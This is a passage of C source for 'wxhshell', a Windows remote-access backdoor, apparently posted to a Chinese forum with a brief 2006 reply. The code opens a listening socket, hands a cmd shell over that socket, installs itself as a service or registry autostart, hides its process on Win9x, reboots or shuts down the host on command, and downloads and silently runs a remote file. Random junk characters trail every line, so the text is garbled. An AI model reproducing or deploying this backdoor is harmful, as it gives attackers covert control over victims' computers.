  ?h7,q*rxk  
  // 帮助 xsPY#  
  case '?': { u$vA9g4  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); xI'sprNa_1  
    break; ~>j5z&:&  
  } ( 04clU^F  
  // 安装 W%6Y?pf)z  
  case 'i': { M%U1?^j8  
    if(Install()) fz9 ,p;b  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5{`a\;*  
    else Rxl )[\A*  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); WbIf)\  
    break; =>y%Aj&4  
    } I1J/de,u  
  // 卸载 li4"|T&  
  case 'r': { 1@$n )r`  
    if(Uninstall()) AW6"1(D  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); L}*s_'_e^>  
    else Cyn_UE  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @4ccZ&`  
    break; B1u.aa$  
    } p7Q}xx  
  // 显示 wxhshell 所在路径 km 0LLYG  
  case 'p': { =!V-V}KK-  
    char svExeFile[MAX_PATH]; eu^B  
    strcpy(svExeFile,"\n\r"); " M+g=  
      strcat(svExeFile,ExeFile); 5s /fBS  
        send(wsh,svExeFile,strlen(svExeFile),0); A9D vU)1  
    break; B %L dH  
    } Ub"6OT1tl  
  // 重启 UP+4xG  
  case 'b': { 4^OPzg6Z%p  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); bvR0?xn q  
    if(Boot(REBOOT)) {&I3qk2(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6 _Cc+}W  
    else { `S&.gPE2  
    closesocket(wsh); UA%tI2  
    ExitThread(0); f@)GiLC'"  
    } 3|Vh[iAa\  
    break; v\#1&</qd^  
    } mO?yrM *  
  // 关机 saPg2N,  
  case 'd': {  f^vz  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); @i9eH8lT  
    if(Boot(SHUTDOWN)) 8-"lK7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  1OwVb  
    else { #P^cR_|\  
    closesocket(wsh); ~HM,@5dFC  
    ExitThread(0); 6u6,9VG,  
    } J+]W*?m  
    break; W "}Cfv  
    } ?h1r6?Sug{  
  // 获取shell &B c$8ZR  
  case 's': { +~Lt;xNFk  
    CmdShell(wsh); T\"eqa  
    closesocket(wsh); F?3zw4Vt~  
    ExitThread(0); ~4}'R_  
    break; 8b!-2d:*  
  } f:!b0j  
  // 退出 U~nW>WJ+.  
  case 'x': { 2Jl$/W 3  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); $={^':Uh  
    CloseIt(wsh); Ra~|;( %d  
    break; {~=Z%Cj2Q  
    } BT3X7Cx  
  // 离开 (G#QRSXc\  
  case 'q': { s2N~p^  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 1P '_EJ]M  
    closesocket(wsh); UbDRE[^P  
    WSACleanup(); 9Z_!}eY2mc  
    exit(1); wV& UB@  
    break; Q"Ur*/-U  
        } s6F^z\6  
  } O"c@x:i  
  } -h|YS/$f  
RY\[[eG  
  // 提示信息 ! ,v!7I  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); zmEg4v'I  
} ^5-8'9w  
  } cCWk^lF],  
~A-1x!YiU  
  return; M<KWx'uV  
} aplOo[  
:TTZ@ q  
// shell模块句柄 u@ psVt   
int CmdShell(SOCKET sock) s${|A =  
{ Scfk] DT  
STARTUPINFO si; 6Y 4I $[  
ZeroMemory(&si,sizeof(si)); p>#QFd"m  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; o$[alh;c+W  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; x_eR/B>  
PROCESS_INFORMATION ProcessInfo; 0.4Q-?J  
char cmdline[]="cmd"; &|j^?ro6  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); tXu_o6]  
  return 0; -sqoE*K[8  
} UwQyAD]Ht  
jy kY8;4  
// 自身启动模式 8t$w/#'@  
int StartFromService(void) qEW3k),  
{ :~gG]|F  
typedef struct E5EAk6  
{ q n2X._`  
  DWORD ExitStatus; ^CtA@4  
  DWORD PebBaseAddress; 6%8,OOS  
  DWORD AffinityMask; `& rt>Bk /  
  DWORD BasePriority; J-3%.fX,  
  ULONG UniqueProcessId; )c"m:3D@  
  ULONG InheritedFromUniqueProcessId; _R ] qoUw;  
}   PROCESS_BASIC_INFORMATION; >qT4'1S*g  
Fb:Z.  
PROCNTQSIP NtQueryInformationProcess; ^7zXi xp  
54geU?p0  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; x,~ys4  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; =yy7P[D  
OY?x'h  
  HANDLE             hProcess; ]!=,8dY  
  PROCESS_BASIC_INFORMATION pbi; k#Bq8d  
}c1?:8p  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); N*CcJp{Q  
  if(NULL == hInst ) return 0; lgL|[ik`  
n\x@~ SzrX  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); JF%_8Ye5  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); M6mJ'Q482  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ZY Ci&l  
p~!UE/V  
  if (!NtQueryInformationProcess) return 0; fSL'+l3  
DGY?4r7>y  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); y~ZYI]` J  
  if(!hProcess) return 0; $Z2Y%z6y  
4{Q{>S*h  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ivb?B,Lz0  
K>a+-QWK3  
  CloseHandle(hProcess); Qe6'W  
vXP+*5d/ K  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Munal=wL  
if(hProcess==NULL) return 0; X\yy\`o  
v.~uJ.T  
HMODULE hMod; `uN}mC!r]  
char procName[255]; 8:=EA3  
unsigned long cbNeeded; hfBZ:es+  
NUvHY:  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); *Mg. * N  
[Jjb<6[o  
  CloseHandle(hProcess); 9BA*e-[  
pm 4"Q!K  
if(strstr(procName,"services")) return 1; // 以服务启动 R | &+g\{;  
&~SPDiu.t  
  return 0; // 注册表启动 w '<8l w  
} s?g`ufF.t  
A3Lfh6O  
// 主模块 6L)]nE0^  
int StartWxhshell(LPSTR lpCmdLine) Up/s)8$.  
{ eInx\/  
  SOCKET wsl; k-`5T mW  
BOOL val=TRUE; hj_%'kk-A  
  int port=0; R;{y]1u  
  struct sockaddr_in door; 6*({ZE  
j18qY4Gw)  
  if(wscfg.ws_autoins) Install(); L,<5l?u  
2Y`C\u  
port=atoi(lpCmdLine); JTw3uM, e  
p903 *F^[,  
if(port<=0) port=wscfg.ws_port; L#|, _j=9  
"{&?t}rj+  
  WSADATA data; l?AWG&  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; e9 `n@  
Xaca=tsO  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   =DT7]fU  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); "0&+ `7  
  door.sin_family = AF_INET; =WYI|3~Cz  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); #:5vN-9?  
  door.sin_port = htons(port); )U~,q>H+ %  
\U0p?wdr:  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { z TM1 e  
closesocket(wsl); C]xKdPQj%  
return 1; QQB\$[M!Z  
} /;[Zw8K7  
:JEzfI1  
  if(listen(wsl,2) == INVALID_SOCKET) { n'&Cr0{  
closesocket(wsl); &f:"p*=a\  
return 1; S"/M+m+ ]  
} wTL&m+xr  
  Wxhshell(wsl); 6^Q Bol  
  WSACleanup(); #})OnM^],  
|Zn |?#F  
return 0; xux j  
"8'aZ.P  
} U1Z.#ETnM  
\R6D'Yt  
// 以NT服务方式启动 xw)$).yc  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ^hpdre"  
{ /hojm6MM  
DWORD   status = 0; P{'T9U|O-  
  DWORD   specificError = 0xfffffff; p\7(`0?8VN  
3Pj 6(cf  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Y\Z.E ;  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; )o:%Zrk  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; /O@dqEbc  
  serviceStatus.dwWin32ExitCode     = 0; @F+zME   
  serviceStatus.dwServiceSpecificExitCode = 0; B ``)  
  serviceStatus.dwCheckPoint       = 0; (sXR@Ce$  
  serviceStatus.dwWaitHint       = 0; K KPQ[3g  
sNet[y:O3  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 3XCePA5z  
  if (hServiceStatusHandle==0) return; D9cpw0{nc  
vp"b_x1-  
status = GetLastError(); zNu>25/)(  
  if (status!=NO_ERROR) 4H<@da}  
{ cVx#dDdA  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; .d^XM  
    serviceStatus.dwCheckPoint       = 0; gJkk0wok C  
    serviceStatus.dwWaitHint       = 0; ?"d25LyN  
    serviceStatus.dwWin32ExitCode     = status; O>5xFz'm  
    serviceStatus.dwServiceSpecificExitCode = specificError; qqmhh_[T  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9]{(~=D7  
    return; ?k5m1,fHW  
  } )2Ru} -H  
0gR!W3dh  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; b6@(UneVM  
  serviceStatus.dwCheckPoint       = 0; &!@7+'])  
  serviceStatus.dwWaitHint       = 0; X9J&OQ  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 9^DXw!  
} :y>$N(.8f  
^ #6Ei9di  
// 处理NT服务事件,比如:启动、停止 f1hjU~nJ  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ,)S(SnCF  
{ 2MV!@rx  
switch(fdwControl) F8c^M</  
{ Pjs L{,  
case SERVICE_CONTROL_STOP: {Q%"{h']  
  serviceStatus.dwWin32ExitCode = 0; !| G 8b'  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 0Gq}x;8H&  
  serviceStatus.dwCheckPoint   = 0; sQ4~oZZ  
  serviceStatus.dwWaitHint     = 0; 0u3"$o'R  
  { O&]P u5  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); sX8?U,u  
  } 4 Qo(Wl  
  return; @@?P\jv~  
case SERVICE_CONTROL_PAUSE: I6q]bQ="  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; LD.^.4{c:  
  break; ._6|epJ#  
case SERVICE_CONTROL_CONTINUE: Vb _W&Nwd  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; \-Oq/g{j  
  break; w9Eb\An  
case SERVICE_CONTROL_INTERROGATE: 5kRP Sfh  
  break; 8 2EH'C  
}; W=[.. d  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); l6[0i  
} U{)|z-n  
Zx1I&K\Cd  
// 标准应用程序主函数 rA">< pH  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ~> xVhd  
{ Zi!6dl ev  
C6!P8qX  
// 获取操作系统版本 KMhEU**  
OsIsNt=GetOsVer(); _#kjiJj *  
GetModuleFileName(NULL,ExeFile,MAX_PATH); uoryxKRjc~  
:k-(%E](  
  // 从命令行安装 Ot^<:\< `G  
  if(strpbrk(lpCmdLine,"iI")) Install(); ,{pC1A@s  
TB8a#bK4  
  // 下载执行文件 m^9[k,;K  
if(wscfg.ws_downexe) { kW 7 $  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) [i  ]  
  WinExec(wscfg.ws_filenam,SW_HIDE); P ]prrKZe,  
} +Vf39}8  
F1q a`j^'  
if(!OsIsNt) { 09r0Rb  
// 如果时win9x,隐藏进程并且设置为注册表启动 t$*V*gK{  
HideProc(); !6d6b@Mv  
StartWxhshell(lpCmdLine); 3hPj;-u  
} ,pg\5b  
else x c[BQ|P=  
  if(StartFromService()) cc$L56q  
  // 以服务方式启动 ](z?zDk  
  StartServiceCtrlDispatcher(DispatchTable); oD0N<Ln}  
else \0^ZNa?  
  // 普通方式启动 Gp PlO]  
  StartWxhshell(lpCmdLine); kJOSGrg  
2&k5X-Y  
return 0; IhRYV`:  
}
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只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
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